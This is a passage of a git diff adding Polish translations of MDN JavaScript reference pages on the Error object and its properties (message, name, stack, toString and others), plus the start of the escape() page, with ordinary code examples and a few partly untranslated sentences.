+ Error.captureStackTrace(instance, CustomError);
+ }
+ return instance;
+}
+
+CustomError.prototype = Object.create(Error.prototype, {
+ constructor: {
+ value: Error,
+ enumerable: false,
+ writable: true,
+ configurable: true
+ }
+});
+
+if (Object.setPrototypeOf){
+ Object.setPrototypeOf(CustomError, Error);
+} else {
+ CustomError.__proto__ = Error;
+}
+
+
+try {
+ throw new CustomError('baz', 'bazMessage');
+} catch(e){
+ console.log(e.foo); //baz
+ console.log(e.message) ;//bazMessage
+}</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Początkowa definicja. Zaimplementowana w JavaScript 1.1.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.11', 'Error')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-error-objects', 'Error')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-error-objects', 'Error')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Error")}}</p>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+ <li>{{jsxref("Statements/try...catch", "try...catch")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/error/linenumber/index.html b/files/pl/web/javascript/referencje/obiekty/error/linenumber/index.html
new file mode 100644
index 0000000000..20d725f492
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/error/linenumber/index.html
@@ -0,0 +1,57 @@
+---
+title: Error.prototype.lineNumber
+slug: Web/JavaScript/Referencje/Obiekty/Error/lineNumber
+tags:
+ - JavaScript
+ - Prototyp
+ - Prototype
+ - Referencja
+ - Własność
+ - niestandardowe
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/lineNumber
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>Właściwość <code><strong>lineNumber</strong></code> zawiera numer linii w pliku, gdzie pojawił się błąd.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_lineNumber">Użycie <code>lineNumber</code></h3>
+
+<pre class="brush: js">var e = new Error('Błąd przy parsowaniu wejścia');
+throw e;
+console.log(e.lineNumber) // 2
+</pre>
+
+<h3 id="Alternatywny_przykład_użycia_zdarzenia_error">Alternatywny przykład użycia zdarzenia <code>error</code></h3>
+
+<pre class="brush: js">window.addEventListener('error', function(e) {
+ console.log(e.lineNumber); // 5
+});
+var e = new Error('Błąd przy parsowaniu wejścia');
+throw e;
+</pre>
+
+<p>Własność <code>lineNumber</code> jest niestandardowa i nie posiada szerokiego wsparcia – zobacz tabelę opisującą wsparcie przeglądarek dla tej własności.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<p><span class="pl-s">Nie jest częścią żadnego standardu.</span></p>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.builtins.Error.lineNumber")}}</p>
+</div>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.stack")}}</li>
+ <li>{{jsxref("Error.prototype.columnNumber")}}</li>
+ <li>{{jsxref("Error.prototype.fileName")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/error/message/index.html b/files/pl/web/javascript/referencje/obiekty/error/message/index.html
new file mode 100644
index 0000000000..1f3983fa6b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/error/message/index.html
@@ -0,0 +1,108 @@
+---
+title: Error.prototype.message
+slug: Web/JavaScript/Referencje/Obiekty/Error/message
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/message
+---
+<div>{{JSRef}}</div>
+
+<p>Właściwość <code><strong>message</strong></code> jest komunikatem błędu zapisanym w sposób czytelny dla czlowieka.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Właściwość zawiera krótki opis błędu, jeśli jest dostępny, lub został ustawiony. <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> szeroko wykorzystuje właściwość <code>message</code> w wyjątkach. Właściwość <code>message</code> jest używany, wraz z właściwością {{jsxref("Error.prototype.name", "name")}} przez metodę {{jsxref("Error.prototype.toString()")}} do tworzenia tekstowej reprezentacji obiektu Error.</p>
+
+<p>Domyślnie właściwość <code>message </code>jest pustym stringiem, ale to zachowanie może zostać nadpisane w instancji, poprzez przekazanie komunikatu jako pierwszy parametr do {{jsxref("Error", "Error constructor")}}.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Rzucanie_ustawionego_błędu">Rzucanie ustawionego błędu</h3>
+
+<pre class="brush: js">var e = new Error('Could not parse input'); // e.message is 'Could not parse input'
+throw e;
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.11.4.3', 'Error.prototype.message')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-error.prototype.message', 'Error.prototype.message')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.name")}}</li>
+ <li>{{jsxref("Error.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/error/name/index.html b/files/pl/web/javascript/referencje/obiekty/error/name/index.html
new file mode 100644
index 0000000000..11521ec4fd
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/error/name/index.html
@@ -0,0 +1,109 @@
+---
+title: Error.prototype.name
+slug: Web/JavaScript/Referencje/Obiekty/Error/name
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/name
+---
+<div>{{JSRef}}</div>
+
+<p>Właściwość <code><strong>name</strong></code> reprezentuję nazwę danego typu błędu. Początkową wartością jest "Error".</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Domyślnie, instancje {{jsxref("Error")}} mają ustawioną nazwę "Error". Właściwość <code>name</code>, razem z właściwością {{jsxref("Error.prototype.message", "message")}}, jest używana przez metodę  {{jsxref("Error.prototype.toString()")}} do tworzenia tekstowej reprezentacji obiektu Error.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Rzucanie_ustawionego_błędu">Rzucanie ustawionego błędu</h3>
+
+<pre class="brush: js">var e = new Error('Malformed input'); // e.name is 'Error'
+
+e.name = 'ParseError';
+throw e;
+// e.toString() would return 'ParseError: Malformed input'
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.11.4.2', 'Error.prototype.name')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-error.prototype.name', 'Error.prototype.name')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.message")}}</li>
+ <li>{{jsxref("Error.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/error/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/error/prototype/index.html
new file mode 100644
index 0000000000..37cb80c692
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/error/prototype/index.html
@@ -0,0 +1,113 @@
+---
+title: Error.prototype
+slug: Web/JavaScript/Referencje/Obiekty/Error/prototype
+tags:
+ - Error
+ - JavaScript
+ - Właściwość
+translation_of: Web/JavaScript/Reference/Global_Objects/Error
+---
+<div>{{JSRef}}</div>
+
+<p>Właściwość <code><strong>Error.prototype</strong></code> reprezentuje prototyp dla konstruktora {{jsxref("Error")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Wszystkie instancje klasy {{jsxref("Error")}} oraz instancje {{jsxref("Global_Objects/Error", "non-generic errors", "#Error_types", 1)}} dziedziczą po <code>Error.prototype</code>. As with all constructor functions, you can use the prototype of the constructor to add properties or methods to all instances created with that constructor.</p>
+
+<h2 id="Właściwości">Właściwości</h2>
+
+<h3 id="Właściwości_standardowe">Właściwości standardowe</h3>
+
+<dl>
+ <dt><code>Error.prototype.constructor</code></dt>
+ <dd>Określa funkcję tworzącą instancję prototypu.</dd>
+ <dt>{{jsxref("Error.prototype.message")}}</dt>
+ <dd>Wiadomość błędu.</dd>
+ <dt>{{jsxref("Error.prototype.name")}}</dt>
+ <dd>Nazwa błędu.</dd>
+</dl>
+
+<h3 id="Rozszerzenia_zależne_od_dostawcy">Rozszerzenia zależne od dostawcy</h3>
+
+<div>{{non-standard_header}}</div>
+
+<h4 id="Microsoft">Microsoft</h4>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.description")}}</dt>
+ <dd>Opis błędu. Podobne do {{jsxref("Error.prototype.message", "message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.number")}}</dt>
+ <dd>Numer błędu.</dd>
+</dl>
+
+<h4 id="Mozilla">Mozilla</h4>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.fileName")}}</dt>
+ <dd>Ścieżka do pliku, w którym wywołany został wyjątek.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber")}}</dt>
+ <dd>Numer linijki w pliku, która wywołała wyjątek.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber")}}</dt>
+ <dd>Numer znaku w wierszu, w którym został wywołany wyjątek.</dd>
+ <dt>{{jsxref("Error.prototype.stack")}}</dt>
+ <dd>Stack trace.</dd>
+</dl>
+
+<h2 id="Metody">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Zwraca łańcuch znaków zawierający źródło wybranego obiektu {{jsxref("Error")}}; możesz użyć tej. Overrides the {{jsxref("Object.prototype.toSource()")}} method.</dd>
+ <dt>{{jsxref("Error.prototype.toString()")}}</dt>
+ <dd>Zwraca ciąg znaków reprezentujący wybrany obiekt. Nadpisuje metodę {{jsxref("Object.prototype.toString()")}}.</dd>
+</dl>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Początkowa definicja. Zaimplementowana w JavaScript 1.1.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.11.3.1', 'Error')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-error.prototype', 'Error')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-error.prototype', 'Error')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Error.prototype")}}</p>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("Object.prototype")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/error/stack/index.html b/files/pl/web/javascript/referencje/obiekty/error/stack/index.html
new file mode 100644
index 0000000000..01c2129f21
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/error/stack/index.html
@@ -0,0 +1,127 @@
+---
+title: Error.prototype.stack
+slug: Web/JavaScript/Referencje/Obiekty/Error/Stack
+tags:
+ - JavaScript
+ - Prototyp
+ - Referencja
+ - Własność
+ - niestandardowe
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/Stack
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>Niestandardowa własność <strong><code>stack</code></strong> obiektów {{jsxref("Error")}} podaje ścieżkę wywołań funkcji – które z nich były wywołane, w jakiej kolejności, z której linii i pliku, z jakimi argumentami. Stos wywołań zaczyna się od ostatnich wywołań, przez wcześniejsze, prowadząc do pierwotnego wywołania z zakresu globalnego.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Każdy krok będzie znajdował się w oddzielnej linii, zawierając w pierwszej części nazwę funkcji (jeśli nie jest to wywołanie z zakresu globalnego), następnie znak <em>at</em> (<code>@</code>), lokalizację pliku (z wyjątkiem sytuacji, w których funkcja jest konstruktorem zgłaszanego błędu), dwukropek oraz numer linii (jeśli zdefiniowana jest lokalizacja pliku). (Zauważ, że obiekt {{jsxref("Error")}} także posiada własności <code>fileName</code>, <code>lineNumber</code> i <code>columnNumber</code>, które można odczytać z danego błędu, jednak jedynie błędu, a nie jego stosu wywołań).</p>
+
+<p>Należy podkreślić, że opisany wyżej format jest formatem przeglądarki Firefox – nie ma standardu formatowania, jednakże Safari 6+ i Opera 12- używają bardzo podobnego formatu. Przeglądarki używające silnika JavaScript V8 (takie jak Chrome, Opera 15+, Android Browser) oraz IE10+, używają natomiast innego formatu (zobacz <a href="https://web.archive.org/web/20140210004225/http://msdn.microsoft.com/en-us/library/windows/apps/hh699850.aspx">archiwalną dokumentację MSDN dla error.stack</a>).</p>
+
+<p><strong>Wartości argumentów w stosie:</strong> w wersjach wcześniejszych niż Firefox 14, po nazwie funkcji następowały wartości argumentów przekonwertowane do łańcucha znaków (<em>string</em>) w nawiasach, przed znakiem <em>at</em> (<code>@</code>). Podczas gdy obiekt (lub tablica itp.) pojawia się w przekonwertowanej formie <code>"[object Object]"</code> i nie może być przekonwertowany z powrotem do właściwych obiektów, wartości skalarne mogą być odzyskane (choć być może — w Firefoksie 14 nadal jest to możliwe — łatwiej będzie użyć <code>arguments.callee.caller.arguments</code>, tak jak nazwa funkcji może być uzyskana przez  <code>arguments.callee.caller.name</code>). <code>"undefined"</code> jest wylistowany jako <code>"(void 0)"</code>. Zauważ, że jeśli argumenty typu <em>string</em> były przekazane z wartościami takimi jak <code>"@"</code>, <code>"("</code>, <code>")"</code> (lub znaki te występują w nazwach plików), nie możesz polegać po prostu na podzieleniu linii na części składowe – <span class="tlid-translation translation" lang="pl"><span title="">dlatego w Firefoksie 14 i nowszych jest to mniejszy problem<strong>.</strong></span></span></p>
+
+<p>Różne przeglądarki ustawiają tę wartość w różnych momentach. Przykładowo, Firefox ustawia ją podczas tworzenia obiektu {{jsxref("Error")}}, natomiast PhantomJS ustawia ją jedynie podczas wyrzucania {{jsxref("Error")}} – i <a href="https://web.archive.org/web/20140210004225/http://msdn.microsoft.com/en-us/library/windows/apps/hh699850.aspx">archiwalna dokumentacja MSDN</a> również wydaje się zgadzać z implementacją PhantomJS.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_własności_stack">Użycie własności <code>stack</code></h3>
+
+<p>Poniższy dokument HTML prezentuje użycie własności <code>stack</code>.</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE HTML&gt;
+&lt;meta charset="UTF-8"&gt;
+&lt;title&gt;Stack Trace Example&lt;/title&gt;
+&lt;body&gt;
+&lt;script&gt;
+function trace() {
+ try {
+ throw new Error('myError');
+ }
+ catch(e) {
+ alert(e.stack);
+ }
+}
+function b() {
+ trace();
+}
+function a() {
+ b(3, 4, '\n\n', undefined, {});
+}
+a('first call, firstarg');
+&lt;/script&gt;
+</pre>
+
+<p>Zakładając, że powyższy dokument zapisany jest pod adresem <code>C:\example.html</code> w systemie plików Windows, kod utworzy okno typu <em>alert</em> z następującą treścią:</p>
+
+<p>W przeglądarce Firefox 30 i późniejszych wersjach, wraz z numerem kolumny:</p>
+
+<pre class="notranslate"><samp>trace@file:///C:/example.html:9:17
+b@file:///C:/example.html:16:13
+a@file:///C:/example.html:19:13
+@file:///C:/example.html:21:9</samp></pre>
+
+<p>Od Firefoxa 14 do Firefoxa 29:</p>
+
+<pre class="notranslate"><samp>trace@file:///C:/example.html:9
+b@file:///C:/example.html:16
+a@file:///C:/example.html:19
+@file:///C:/example.html:21</samp></pre>
+
+<p>Firefox 13 i wcześniejsze zwróci zamiast tego następujący tekst:</p>
+
+<pre class="notranslate"><samp>Error("myError")@:0
+trace()@file:///C:/example.html:9
+b(3,4,"\n\n",(void 0),[object Object])@file:///C:/example.html:16
+a("first call, firstarg")@file:///C:/example.html:19
+@file:///C:/example.html:21</samp></pre>
+
+<h3 id="Stos_ewaluowanego_kodu">Stos ewaluowanego kodu</h3>
+
+<p>Od Firefoxa 30, stos błędu w wywołaniach <code>Function()</code> i <code>eval()</code> tworzy stos z bardziej szczegółową informacją o linii i kolumnie wewnątrz tych wywołań. Wywołania funkcji są wskazywane przez <code>"&gt; Function"</code>, a eval przez <code>"&gt; eval"</code>.</p>
+
+<pre class="brush: js notranslate">try {
+ new Function('throw new Error()')();
+} catch (e) {
+ console.log(e.stack);
+}
+
+// anonymous@file:///C:/example.html line 7 &gt; Function:1:1
+// @file:///C:/example.html:7:6
+
+
+try {
+ eval("eval('FAIL')");
+} catch (x) {
+ console.log(x.stack);
+}
+
+// @file:///C:/example.html line 7 &gt; eval line 1 &gt; eval:1:1
+// @file:///C:/example.html line 7 &gt; eval:1:1
+// @file:///C:/example.html:7:6
+</pre>
+
+<p>Możesz także użyć dyrektywy <code>//# sourceURL</code> do nazwania źródła <code>eval</code>. Zobacz też źródła <a href="/en-US/docs/Tools/Debugger/How_to/Debug_eval_sources">Debug eval</a> w dokumentacji <a href="/en-US/docs/Tools/Debugger">Debuggera</a> oraz w <a href="http://fitzgeraldnick.com/weblog/59/">tym artykule</a>.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<p><span class="pl-s">Nie jest częścią żadnego standardu.</span></p>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.builtins.Error.stack")}}</p>
+</div>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Components.stack">Components.stack</a></li>
+ <li>Projekty zewnetrzne: <a class="link-https" href="https://github.com/csnover/TraceKit/">TraceKit</a> i <a class="link-https" href="https://github.com/eriwen/javascript-stacktrace">javascript-stacktrace</a></li>
+ <li>MSDN: <a href="https://web.archive.org/web/20140210004225/http://msdn.microsoft.com/en-us/library/windows/apps/hh699850.aspx">archiwalna dokumentacja error.stack</a></li>
+ <li><a href="https://github.com/v8/v8/wiki/Stack%20Trace%20API">Przegląd API stosu wywołań w JavaScript V8</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/error/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/error/tosource/index.html
new file mode 100644
index 0000000000..f904d26f70
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/error/tosource/index.html
@@ -0,0 +1,60 @@
+---
+title: Error.prototype.toSource()
+slug: Web/JavaScript/Referencje/Obiekty/Error/toSource
+tags:
+ - JavaScript
+ - Metodă
+ - Niestandardowy
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>Metoda <code><strong>toSource()</strong></code> zwraca kod, który możemethod returns code that could eval to the same error.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate"><var>e</var>.toSource()</pre>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Łańcuch znaków (<em>string</em>) zawierający kod źródłowy błędu.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_toSource">Użycie toSource</h3>
+
+<p>Wywołanie metody <code>toSource</code> instancji {{jsxref("Error")}} (w tym <em><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error#Error_types">NativeErrors</a></em>) zwróci łańcuch znaków zawierający kod źródłowy błędu. Zwrócony <em>string</em> może być ewaluowany do utworzenia (w przybliżeniu) takiego samego obiektu. Oczywiście ciąg znaków zawierający kod źródłowy jest zgodny ze strukturą konstruktora {{jsxref("Error")}}. Przykładowo:</p>
+
+<pre class="brush: js notranslate">(<em>newname</em>(<em>message</em>, <em>nazwaPliku</em>, <em>numerLinii</em>))
+</pre>
+
+<p>gdzie wymienione atrybuty odpowiadają właściwym własnościom instancji błędu.</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong> należy pamiętać, że własności używanen przez metodę <code>toSource</code> podczas tworzenia tego ciągu znaków są modyfikowalne i mogą nie odzwierciedlać dokładnie funkcji użytej do stworzenia instancji błędu lub nazwy pliku czy numeru linii gdzie wystąpił dany błąd.</p>
+</div>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<p>Nie należy do żadnego standardu.</p>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.builtins.Error.toSource")}}</p>
+</div>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.fileName")}}</li>
+ <li>{{jsxref("Error.prototype.lineNumber")}}</li>
+ <li>{{jsxref("Error.prototype.message")}}</li>
+ <li>{{jsxref("Error.prototype.name")}}</li>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/error/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/error/tostring/index.html
new file mode 100644
index 0000000000..6b019bc60b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/error/tostring/index.html
@@ -0,0 +1,98 @@
+---
+title: Error.prototype.toString()
+slug: Web/JavaScript/Referencje/Obiekty/Error/toString
+tags:
+ - JavaScript
+ - Metodă
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/toString
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>toString()</strong></code> zwraca iąg znaków reprezentujący dany obiekt {{jsxref("Error")}}.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate"><code><var>e</var>.toString()</code></pre>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Ciąg znaków reprezentujący dany obiekt {{jsxref("Error")}}.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Obiekt {{jsxref("Error")}} nadpisuje metodę {{jsxref("Object.prototype.toString()")}} dziedziczoną przez wszystkie obiekty. Jego semantyka jest następująca (przy założeniu, że {{jsxref("Object")}} i {{jsxref("String")}} mają swoje oryginalne wartości):</p>
+
+<pre class="brush: js notranslate">Error.prototype.toString = function() {
+ 'use strict';
+
+ var obj = Object(this);
+ if (obj !== this) {
+ throw new TypeError();
+ }
+
+ var name = this.name;
+ name = (name === undefined) ? 'Error' : String(name);
+
+ var msg = this.message;
+ msg = (msg === undefined) ? '' : String(msg);
+
+ if (name === '') {
+ return msg;
+ }
+ if (msg === '') {
+ return name;
+ }
+
+ return name + ': ' + msg;
+};
+</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_toString">Użycie toString()</h3>
+
+<pre class="brush: js notranslate">var e = new Error('fatal error');
+console.log(e.toString()); // 'Error: fatal error'
+
+e.name = undefined;
+console.log(e.toString()); // 'Error: fatal error'
+
+e.name = '';
+console.log(e.toString()); // 'fatal error'
+
+e.message = undefined;
+console.log(e.toString()); // ''
+
+e.name = 'hello';
+console.log(e.toString()); // 'hello'
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-error.prototype.tostring', 'Error.prototype.toString')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Error.toString")}}</p>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/escape/index.html b/files/pl/web/javascript/referencje/obiekty/escape/index.html
new file mode 100644
index 0000000000..06d1d3d2c4
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/escape/index.html
@@ -0,0 +1,120 @@
+---
+title: escape()
+slug: Web/JavaScript/Referencje/Obiekty/escape
+translation_of: Web/JavaScript/Reference/Global_Objects/escape
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>The deprecated <code><strong>escape()</strong></code> function computes a new string in which certain characters have been replaced by a hexadecimal escape sequence. Use {{jsxref("encodeURI")}} or {{jsxref("encodeURIComponent")}} instead.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>escape(str)</code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>A string to be encoded.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>The <code>escape</code> function is a property of the <em>global object</em>. Special characters are encoded with the exception of: @*_+-./</p>
+
